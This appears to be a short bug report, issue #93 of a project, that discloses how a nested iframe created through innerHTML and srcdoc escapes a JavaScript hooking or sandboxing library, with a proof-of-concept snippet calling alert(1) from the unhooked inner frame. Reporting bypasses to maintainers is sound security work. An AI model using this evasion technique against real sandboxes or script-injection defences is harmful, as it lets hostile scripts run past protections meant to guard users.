Bypass using nested iframe #93
Description
var d = document.createElement('div');
document.body.appendChild(d);
d.innerHTML = `
<iframe srcdoc="<iframe></iframe><script>frames[0].alert(1)</script>">
</iframe>`;
No src, srcdoc, attributes, listeners, etc... so it's just left unhooked.